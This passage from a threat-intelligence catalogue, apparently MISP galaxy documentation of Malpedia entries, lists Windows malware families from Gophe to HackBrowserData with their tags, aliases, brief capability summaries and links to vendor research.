https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf

https://www.youtube.com/watch?v=QgUlPvEE4aw

https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/

http://blog.trendmicro.com/trendlabs-security-intelligence/fake-judicial-spam-leads-to-backdoor-with-fake-certificate-authority/

https://www.us-cert.gov/ncas/alerts/TA16-336A

https://connect.ed-diamond.com/MISC/MISC-100/Analyse-du-malware-bancaire-Gootkit-et-de-ses-mecanismes-de-protection

http://www.vkremez.com/2018/04/lets-learn-in-depth-dive-into-gootkit.html

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf

https://blog.malwarebytes.com/threat-analysis/2020/11/german-users-targeted-with-gootkit-banker-or-revil-ransomware/

https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware

https://www.s21sec.com/en/blog/2016/05/reverse-engineering-gootkit/

https://www.trendmicro.com/en_us/research/23/a/gootkit-loader-actively-targets-the-australian-healthcare-indust.html

https://securelist.com/gootkit-the-cautious-trojan/102731/

https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/?cmp=30728

https://forums.juniper.net/t5/Security-Now/New-Gootkit-Banking-Trojan-variant-pushes-the-limits-on-evasive/ba-p/319055
https://securelist.com/blog/research/76433/inside-the-gootkit-cc-server/
https://www.certego.net/en/news/malware-tales-gootkit/
https://dissectingmalwa.re/nicht-so-goot-breaking-down-gootkit-and-jasper-ftcode.html
https://twitter.com/MsftSecIntel/status/1366542130731094021
https://www.sentinelone.com/blog/gootkit-banking-trojan-deep-dive-anti-analysis-features/
https://twitter.com/jhencinski/status/1464268732096815105
https://blogs.blackberry.com/en/2021/11/revil-under-the-microscope

Gophe

The tag is: *misp-galaxy:malpedia="Gophe"*

Gophe is also known as:

Table 3995. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gophe
https://www.proofpoint.com/us/threat-insight/post/dyre-malware-campaigners-innovate-distribution-techniques
https://github.com/strictlymike/presentations/tree/master/2020/2020.02.08_BSidesHuntsville

Gopuram

The tag is: *misp-galaxy:malpedia="Gopuram"*

Gopuram is also known as:

Table 3996. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gopuram
https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344
https://twitter.com/kucher1n/status/1642886340105601029?t=3GCn-ZhDjqWEMXya_PKseg

Gosar

According to Elastic, this is a rewrite of Quasar RAT in Go.

The tag is: *misp-galaxy:malpedia="Gosar"*

Gosar is also known as:

Table 3997. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gosar
https://www.elastic.co/security-labs/under-the-sadbridge-with-gosar

GoToHTTP

According to ESET Research, GoToHTTP is a benign tool that allows establishing a remote connection that can be accessed from a browser. It has been observed being abused for malicious purposes by threat actor GhostRedirector.

The tag is: *misp-galaxy:malpedia="GoToHTTP"*

GoToHTTP is also known as:

Table 3998. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gotohttp
https://www.welivesecurity.com/en/eset-research/ghostredirector-poisons-windows-servers-backdoors-side-potatoes/

GOTROJ

The tag is: *misp-galaxy:malpedia="GOTROJ"*

GOTROJ is also known as:

Table 3999. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gotroj
https://www.rsa.com/content/dam/en/white-paper/the-shadows-of-ghosts-carbanak-report.pdf

GovRAT

The tag is: *misp-galaxy:malpedia="GovRAT"*

GovRAT is also known as:

Table 4000. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.govrat
https://www.yumpu.com/en/document/view/55930175/govrat-v20

Gozi

2000 Ursnif aka Snifula 2006 Gozi v1.0, Gozi CRM, CRM, Papras 2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*) → 2010 Gozi Prinimalka → Vawtrak/Neverquest

In 2006, Gozi v1.0 ('Gozi CRM' aka 'CRM') aka Papras was first observed. It was offered as a CaaS, known as 76Service. This first version of Gozi was developed by Nikita Kurmin, and he borrowed code from Ursnif aka Snifula, a spyware developed by Alexey Ivanov around 2000, and some other kits. Gozi v1.0 thus had a formgrabber module and often is classified as Ursnif aka Snifula.

In September 2010, the source code of a particular Gozi CRM dll version was leaked, which led to Vawtrak/Neverquest (in combination with Pony) via Gozi Prinimalka (a slightly modified Gozi v1.0) and Gozi v2.0 (aka 'Gozi ISFB' aka 'ISFB' aka Pandemyia). This version came with a webinject module.

The tag is: *misp-galaxy:malpedia="Gozi"*

Gozi is also known as:

- CRM
- Gozi CRM
- Papras
- Snifula
- Ursnif

Table 4001. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gozi
http://researchcenter.paloaltonetworks.com/2017/02/unit42-banking-trojans-ursnif-global-distribution-networks-identified/
https://www.secureworks.com/research/gozi
https://www.youtube.com/watch?v=BcFbkjUVc7o
https://therecord.media/gozi-malware-gang-member-arrested-in-colombia/
https://blog.gdatasoftware.com/2016/11/29325-analysis-ursnif-spying-on-your-data-since-2007
https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/
https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/
https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/
https://securelist.com/financial-cyberthreats-in-2020/101638/
https://kostas-ts.medium.com/ursnif-vs-italy-il-pdf-del-destino-5c83d6281072
http://blog.malwaremustdie.org/2013/02/the-infection-of-styx-exploit-kit.html
https://lokalhost.pl/gozi_tree.txt

https://securityintelligence.com/x-force/wailingcrab-malware-misues-mqtt-messaging-protocol/
https://github.com/mlodic/ursnif_beacon_decryptor
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://viuleeenz.github.io/posts/2023/12/applied-emulation-decrypting-ursnif-strings-with-unicorn/
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://medium.com/csis-techblog/chapter-1-from-gozi-to-isfb-the-history-of-a-mythical-malware-family-82e592577fef
https://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
https://www.secureworks.com/research/threat-profiles/gold-swathmore
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/gozi-italian-shellcode-dance
https://viuleeenz.github.io/posts/2023/03/dynamic-binary-instrumentation-for-malware-analysis/

GoRed

The tag is: *misp-galaxy:malpedia="GoRed"*

GoRed is also known as:

Table 4002. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.go_red
https://global.ptsecurity.com/analytics/pt-esc-threat-intelligence/excobalt-gored-the-hidden-tunnel-technique

GPCode

The tag is: *misp-galaxy:malpedia="GPCode"*

GPCode is also known as:

Table 4003. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gpcode

http://www.xylibox.com/2011/01/gpcode-ransomware-2010-simple-analysis.html
https://de.securelist.com/analysis/59479/erpresser/
http://www.zdnet.com/article/whos-behind-the-gpcode-ransomware/
https://www.symantec.com/security_response/writeup.jsp?docid=2007-071711-3132-99&tabid=2

GrabBot

The tag is: *misp-galaxy:malpedia="GrabBot"*

GrabBot is also known as:

Table 4004. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grabbot
http://blog.fortinet.com/2017/03/17/grabbot-is-back-to-nab-your-data

Graftor

The tag is: *misp-galaxy:malpedia="Graftor"*

Graftor is also known as:

- MewsSpy

Table 4005. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.graftor
http://blog.talosintelligence.com/2017/09/graftor-but-i-never-asked-for-this.html
https://malware.news/t/graftor-but-i-never-asked-for-this/14857
https://bin.re/blog/the-dga-of-symmi/

Grager

Grager is a backdoor deployed against three organizations in Taiwan, Hong Kong, and Vietnam in April 2024. Analysis of this backdoor revealed that it uses the Graph API to communicate with a command and control (C&C) server hosted on Microsoft OneDrive. The backdoor decrypts a client ID and refresh token for OneDrive from a blob contained within its file body. It supports the following commands:

- Retrieve machine information, including machine name, user, IP address, and machine architecture
- Download or upload a file

- Execute a file
- Gather file system information, including available drives, their sizes, and types of drives

The tag is: *misp-galaxy:malpedia="Grager"*

Grager is also known as:

Table 4006. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grager
https://www.security.com/threat-intelligence/cloud-espionage-attacks

GRAMDOOR

The tag is: *misp-galaxy:malpedia="GRAMDOOR"*

GRAMDOOR is also known as:

- Small Sieve

Table 4007. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gramdoor
https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html
https://www.mandiant.com/resources/telegram-malware-iranian-espionage
https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf

Grandoreiro

According to ESET Research, Grandoreiro is a Latin American banking trojan targeting Brazil, Mexico, Spain and Peru. As such, it shows unusual effort by its authors to evade detection and emulation, and progress towards a modular architecture.

The tag is: *misp-galaxy:malpedia="Grandoreiro"*

Grandoreiro is also known as:

Table 4008. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grandoreiro
http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgsg/content/id/13552853

https://www.proofpoint.com/us/blog/threat-insight/copacabana-barcelona-cross-continental-threat-brazilian-banking-malware
https://securelist.com/grandoreiro-banking-trojan/114257/
https://www.bleepingcomputer.com/news/security/police-disrupt-grandoreiro-banking-malware-operation-make-arrests/
https://seguranca-informatica.pt/the-updated-grandoreiro-malware-equipped-with-latenbot-c2-features-in-q2-2020-now-extended-to-portuguese-banks
https://www.metabaseq.com/grandoreiro-banking-malware-deciphering-the-dga/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://blueliv.com/resources/reports/MiniReport-Blueliv-Bancos-ESP-LAT.pdf
https://www.zscaler.com/blogs/security-research/grandoreiro-banking-trojan-new-ttps-targeting-various-industry-verticals
https://www.incibe.es/sites/default/files/contenidos/estudios/doc/incibe-cert_study_grandoreiro_analysis_2022_v1.pdf
https://securityintelligence.com/x-force/grandoreiro-banking-trojan-unleashed/
https://therecord.media/spain-arrests-16-for-distributing-the-mekotio-and-grandoreiro-banking-trojans/
https://socradar.io/grandoreiro-malware-campaign-a-global-threat-to-banking-security/
https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/
https://www.welivesecurity.com/en/eset-research/eset-takes-part-global-operation-disrupt-grandoreiro-banking-trojan/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/grandoreiro-banking-malware-resurfaces-for-tax-season
https://securelist.com/the-tetrade-brazilian-banking-malware/97779/

GrandSteal

The tag is: *misp-galaxy:malpedia="GrandSteal"*

GrandSteal is also known as:

Table 4009. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grandsteal
http://www.peppermalware.com/2019/03/analysis-of-net-stealer-grandsteal-2019.html

GRAPELOADER

According to Checkpoint Research, GRAPELOADER is a newly observed initial-stage tool used for fingerprinting, persistence, and payload delivery. Despite differing roles, it shares similarities in

code structure, obfuscation, and string decryption with WINELOADER. GRAPELOADER refines WINELOADER's anti-analysis techniques while introducing more advanced stealth methods.

The tag is: *misp-galaxy:malpedia="GRAPELOADER"*

GRAPELOADER is also known as:

Table 4010. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grapeloader
https://research.checkpoint.com/2025/apt29-phishing-campaign/

GraphDrop

PANW Unit 42 describes this malware as capable of up and downloading files as well as loading additional shellcode payloads into selected target processes. It uses the Microsoft Graph API and Dropbox API as C&C channel.

The tag is: *misp-galaxy:malpedia="GraphDrop"*

GraphDrop is also known as:

- GraphicalProton
- SPICYBEAT

Table 4011. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.graphdrop
https://unit42.paloaltonetworks.com/cloaked-ursa-phishing/
https://www.mandiant.com/resources/blog/apt29-evolving-diplomatic-phishing
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a
https://www.avertium.com/resources/threat-reports/evolution-of-russian-apt29-new-attacks-and-techniques-uncovered
https://www.fortinet.com/blog/threat-research/teamcity-intrusion-saga-apt29-suspected-exploiting-cve-2023-42793
https://go.recordedfuture.com/hubfs/reports/cta-2023-0727-1.pdf

GraphicalNeutrino

This loader abuses the benign service Notion for data exchange.

The tag is: *misp-galaxy:malpedia="GraphicalNeutrino"*

GraphicalNeutrino is also known as:

- SNOWYAMBER

Table 4012. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.graphical_neutrino
https://www.gov.pl/attachment/ee91f24d-3e67-436d-aa50-7fa56acf789d
https://mssplab.github.io/threat-hunting/2023/06/02/malware-analysis-apt29.html
https://mrtiepolo.medium.com/sophisticated-apt29-campaign-abuses-notion-api-to-target-the-european-commission-200188059f58
https://go.recordedfuture.com/hubfs/reports/cta-2023-0127.pdf
https://go.recordedfuture.com/hubfs/reports/cta-2023-0727-1.pdf
https://blogs.blackberry.com/en/2023/03/nobelium-targets-eu-governments-assisting-ukraine

Graphican

According to Symantec, Graphican is an evolution of the known APT15 backdoor Ketrican, which itself was based on a previous malware - BS2005 - also used by APT15. Graphican has the same basic functionality as Ketrican, with the difference between them being Graphican's use of the Microsoft Graph API and OneDrive to obtain its command-and-control (C&C) infrastructure.

The tag is: *misp-galaxy:malpedia="Graphican"*

Graphican is also known as:

Table 4013. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.graphican
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/flea-backdoor-microsoft-graph-apt15

Graphiron

Downloader / information stealer used by UAC-0056, observed since at least October 2022.

The tag is: *misp-galaxy:malpedia="Graphiron"*

Graphiron is also known as:

Table 4014. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.graphiron
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/nodaria-ukraine-infostealer

https://www.secureworks.com/research/the-growing-threat-from-infostealers

Graphite

Trellix describes Graphite as a malware using the Microsoft Graph API and OneDrive for C&C. It was found being deployed in-memory only and served as a downloader for Empire.

The tag is: *misp-galaxy:malpedia="Graphite"*

Graphite is also known as:

Table 4015. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.graphite
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-009.pdf
https://blog.cluster25.duskrise.com/2022/09/23/in-the-footsteps-of-the-fancy-bear-powerpoint-graphite/
https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/prime-ministers-office-compromised.html

Graphon

The tag is: *misp-galaxy:malpedia="Graphon"*

Graphon is also known as:

Table 4016. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.graphon
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/harvester-new-apt-attacks-asia

GraphSteel

This malware was seen during the cyberattacks on Ukrainian state organizations. It is one of two used backdoors written in Go and attributed to UAC-0056 (SaintBear, UNC2589, TA471).

The tag is: *misp-galaxy:malpedia="GraphSteel"*

GraphSteel is also known as:

Table 4017. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.graphsteel

https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya
https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/
https://www.mandiant.com/resources/spear-phish-ukrainian-entities
https://businessinsights.bitdefender.com/deep-dive-into-the-elephant-framework-a-new-cyber-threat-in-ukraine
https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview
https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/
https://www.intezer.com/blog/research/elephant-malware-targeting-ukrainian-orgs/
https://www.secureworks.com/research/the-growing-threat-from-infostealers
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war
https://cert.gov.ua/article/38374
https://www.govinfosecurity.com/cyber-espionage-actor-deploying-malware-using-excel-a-18830
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/

Grateful POS

POS malware targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card's magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system's memory unencrypted while the system determines where to send it for authorization. Masked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally, this malware appears to be related to the Framework POS malware, which was linked to some of the high-profile merchant breaches in the past.

The tag is: *misp-galaxy:malpedia="Grateful POS"*

Grateful POS is also known as:

- FrameworkPOS
- SCRAPMINT
- trinity

Table 4018. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.grateful_pos
https://redcanary.com/blog/frameworkpos-and-the-adequate-persistent-threat/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://content.fireeye.com/m-trends/rpt-m-trends-2020
https://usa.visa.com/dam/VCOM/global/support-legal/documents/cybercrime-groups-targeting-fuel-dispenser-merchants.pdf
http://www.vkremez.com/2017/12/lets-learn-reversing-grateful-point-of.html
https://norfolkinfosec.com/pos-malware-used-at-fuel-pumps/
https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf
http://www.secureworks.com/research/threat-profiles/gold-franklin

Gratem

The tag is: *misp-galaxy:malpedia="Gratem"*

Gratem is also known as:

Table 4019. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gratem

Gravity RAT (Windows)

The tag is: *misp-galaxy:malpedia="Gravity RAT (Windows)"*

Gravity RAT (Windows) is also known as:

Table 4020. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gravity_rat
https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/
https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html
https://securelist.com/gravityrat-the-spy-returns/99097/
https://www.virusbulletin.com/blog/2018/04/gravityrat-malware-takes-your-systems-temperature/
https://blog.talosintelligence.com/cosmic-leopard/

GREASE

The tag is: *misp-galaxy:malpedia="GREASE"*

GREASE is also known as:

Table 4021. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grease
https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/
https://labs.withsecure.com/content/dam/labs/docs/WithSecure-Lazarus-No-Pineapple-Threat-Intelligence-Report-2023.pdf
https://us-cert.cisa.gov/ncas/alerts/aa20-301a

GreenShaitan

The tag is: *misp-galaxy:malpedia="GreenShaitan"*

GreenShaitan is also known as:

- eoehttp

Table 4022. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.greenshaitan
https://blog.cylance.com/spear-a-threat-actor-resurfaces

GreenDispenser

The tag is: *misp-galaxy:malpedia="GreenDispenser"*

GreenDispenser is also known as:

Table 4023. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.green_dispenser
https://www.proofpoint.com/us/threat-insight/post/Meet-GreenDispenser

GreetingGhoul

The tag is: *misp-galaxy:malpedia="GreetingGhoul"*

GreetingGhoul is also known as:

Table 4024. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.greetingghoul
https://securelist.com/doublefinger-loader-delivering-greetingghoul-cryptocurrency-stealer/109982/

Gremlin

This information-stealing malware exfiltrates data from its victims and uploads this information to its web server for publication. It can capture data from browsers, the clipboard and the local disk to steal sensitive data such as credit card details, browser cookies, crypto wallet information, File Transfer Protocol (FTP) and virtual private network (VPN) credentials.

The tag is: *misp-galaxy:malpedia="Gremlin"*

Gremlin is also known as:

Table 4025. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gremlin
https://unit42.paloaltonetworks.com/new-malware-gremlin-stealer-for-sale-on-telegram/

Grenam

A malware that modifies every JPG file found on a computer by adding a string in its bottom corner spelling out 'I am Sorry'.

Grenam is a companion virus, which is a form of file infection. It infects by prepending the letter 'g' in front of host files and placing itself with the original name of the host.

The tag is: *misp-galaxy:malpedia="Grenam"*

Grenam is also known as:

- Renamer
- gnamer

Table 4026. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grenam
https://www.youtube.com/watch?v=uyWDe7DTHLE

GreyEnergy

The tag is: *misp-galaxy:malpedia="GreyEnergy"*

GreyEnergy is also known as:

Table 4027. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grey_energy
https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf
https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf
https://www.secureworks.com/research/threat-profiles/iron-viking
https://securelist.com/greyenergys-overlap-with-zebrocy/89506/
https://attack.mitre.org/software/S0342/
https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/
https://www.eset.com/int/greyenergy-exposed/
https://github.com/NozomiNetworks/greyenergy-unpacker
https://www.nozominetworks.com/2019/02/12/blog/greyenergy-malware-research-paper-maldoc-to-backdoor/
https://attack.mitre.org/groups/G0034

GRILLMARK

This is a proxy-aware HTTP backdoor that is implemented as a service and uses the compromised system's proxy settings to access the internet. C&C traffic is base64 encoded and the files sent to the server are compressed with aPLib.

The tag is: *misp-galaxy:malpedia="GRILLMARK"*

GRILLMARK is also known as:

- Hellsing Backdoor

Table 4028. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grillmark
https://securelist.com/the-chronicles-of-the-hellsing-apt-the-empire-strikes-back/69567/
https://content.fireeye.com/m-trends/rpt-m-trends-2019

GRIMAGENT

GRIMAGENT is a backdoor that can execute arbitrary commands, download files, create and delete scheduled tasks, and execute programs via scheduled tasks or via the ShellExecute API. The malware persists via a randomly named scheduled task and a registry Run key. The backdoor communicates to hard-coded C&C servers via HTTP requests with portions of its network communications encrypted using both asymmetric and symmetric cryptography. GRIMAGENT was used during some Ryuk Ransomware intrusions in 2020.

The tag is: *misp-galaxy:malpedia="GRIMAGENT"*

GRIMAGENT is also known as:

Table 4029. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grimagent
https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer
https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets
https://blog.group-ib.com/grimagent
https://twitter.com/bryceabdo/status/1352359414746009608

GrimPlant

This malware was seen during the cyberattacks on Ukrainian state organizations. It is one of two used backdoors written in Go and attributed to UAC-0056 (SaintBear, UNC2589, TA471).

The tag is: *misp-galaxy:malpedia="GrimPlant"*

GrimPlant is also known as:

Table 4030. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grimplant
https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya
https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/
https://www.mandiant.com/resources/spear-phish-ukrainian-entities
https://businessinsights.bitdefender.com/deep-dive-into-the-elephant-framework-a-new-cyber-threat-in-ukraine
https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview

https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/
https://www.intezer.com/blog/research/elephant-malware-targeting-ukrainian-orgs/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war
https://blog.malwarebytes.com/threat-intelligence/2022/04/new-uac-0056-activity-theres-a-go-elephant-in-the-room/
https://cert.gov.ua/article/38374
https://www.govinfosecurity.com/cyber-espionage-actor-deploying-malware-using-excel-a-18830
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/

GROK

The tag is: *misp-galaxy:malpedia="GROK"*

GROK is also known as:

Table 4031. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grok
https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/

GroundPeony

The tag is: *misp-galaxy:malpedia="GroundPeony"*

GroundPeony is also known as:

Table 4032. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ground_peony
https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_1_7_hara_nakajima_kawakami_en.pdf

Growtopia

According to PCrisk, Growtopia (also known as CyberStealer) is an information stealer written in the C# programming language. It can obtain system information, steal information from various applications, and capture screenshots. Its developer claims that it has created this software for educational purposes only. This stealer uses the name of a legitimate online game.

The tag is: *misp-galaxy:malpedia="Growtopia"*

Growtopia is also known as:

Table 4033. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.growtopia
https://github.com/TheC0mpany/GrowtopiaStealer

GRUNT

The tag is: *misp-galaxy:malpedia="GRUNT"*

GRUNT is also known as:

- Covenant

Table 4034. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grunt
https://ti.qianxin.com/blog/articles/Suspected-Russian-speaking-attackers-use-COVID19-vaccine-decoys-against-Middle-East/
https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html
https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f
https://cert.gov.ua/article/6284080
https://blog.sekoia.io/apt28-operation-phantom-net-voxel/
https://www.telsy.com/download/5776/?uid=aca91e397e
https://twitter.com/ItsReallyNick/status/1208141697282117633
https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_1_9_takeda_furukawa_en.pdf

gsecdump

The tag is: *misp-galaxy:malpedia="gsecdump"*

gsecdump is also known as:

Table 4035. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gsecdump
https://attack.mitre.org/wiki/Technique/T1003

GSpy

A malware family with a DGA.

The tag is: *misp-galaxy:malpedia="GSpy"*

GSpy is also known as:

Table 4036. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gspy
https://www.virustotal.com/gui/file/0a062a1cbcd05f671f5c3fe5575e29fdd9e13deeb9f34f1ee9ffa6b75835668f/detection

GTPDOOR

According to haxrob, GTPDOOR is the name of Linux based malware that is intended to be deployed on systems in telco networks adjacent to the GRX (GRPS eXchange Network) with the novel feature of communicating C2 traffic over GTP-C (GPRS Tunnelling Protocol - Control Plane) signalling messages. This allows the C2 traffic to blend in with normal traffic and to reuse already permitted ports that maybe open and exposed to the GRX network.

The tag is: *misp-galaxy:malpedia="GTPDOOR"*

GTPDOOR is also known as:

Table 4037. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gtpdoor
https://nitter.poast.org/haxrob/status/1762821513680732222
https://doubleagent.net/telecommunications/backdoor/gtp/2024/02/27/GTPDOOR-COVERT-TELCO-BACKDOOR

GUIDLOADER

The tag is: *misp-galaxy:malpedia="GUIDLOADER"*

GUIDLOADER is also known as:

Table 4038. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.guidloader
https://www.elastic.co/security-labs/fragile-web-ref7707

GUP Proxy Tool

The tag is: *misp-galaxy:malpedia="GUP Proxy Tool"*

GUP Proxy Tool is also known as:

Table 4039. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gup_proxy
https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks

Gwisin (Windows)

Ransomware.

The tag is: *misp-galaxy:malpedia="Gwisin (Windows)"*

Gwisin (Windows) is also known as:

Table 4040. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gwisin
https://asec.ahnlab.com/en/37483
https://www.skshieldus.com/download/files/download.do?o_fname=%EA%B7%80%EC%8B%A0(Gwisin)%20%EB%9E%9C%EC%84%AC%EC%9B%A8%EC%96%B4%20%EA%B3%B5%EA%B2%A9%20%EC%A0%84%EB%9E%B5%20%EB%B6%84%EC%84%9D%20%EB%A6%AC%ED%8F%AC%ED%8A%B8.pdf&r_fname=20220824150111854.pdf
https://asec.ahnlab.com/en/41565/

H1N1 Loader

The tag is: *misp-galaxy:malpedia="H1N1 Loader"*

H1N1 Loader is also known as:

Table 4041. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.h1n1
https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities

HabitsRAT (Windows)

The tag is: *misp-galaxy:malpedia="HabitsRAT (Windows)"*

HabitsRAT (Windows) is also known as:

Table 4042. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.habitsrat
https://www.intezer.com/blog/malware-analysis/habitsrat-used-to-target-linux-and-windows-servers/
https://www.intezer.com/blog/malware-analysis/habitsrat-used-to-target-linux-and-windows-servers

HackBrowserData

Browser information stealer, written in Go.

The tag is: *misp-galaxy:malpedia="HackBrowserData"*

HackBrowserData is also known as:

Table 4043. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hackbrowserdata
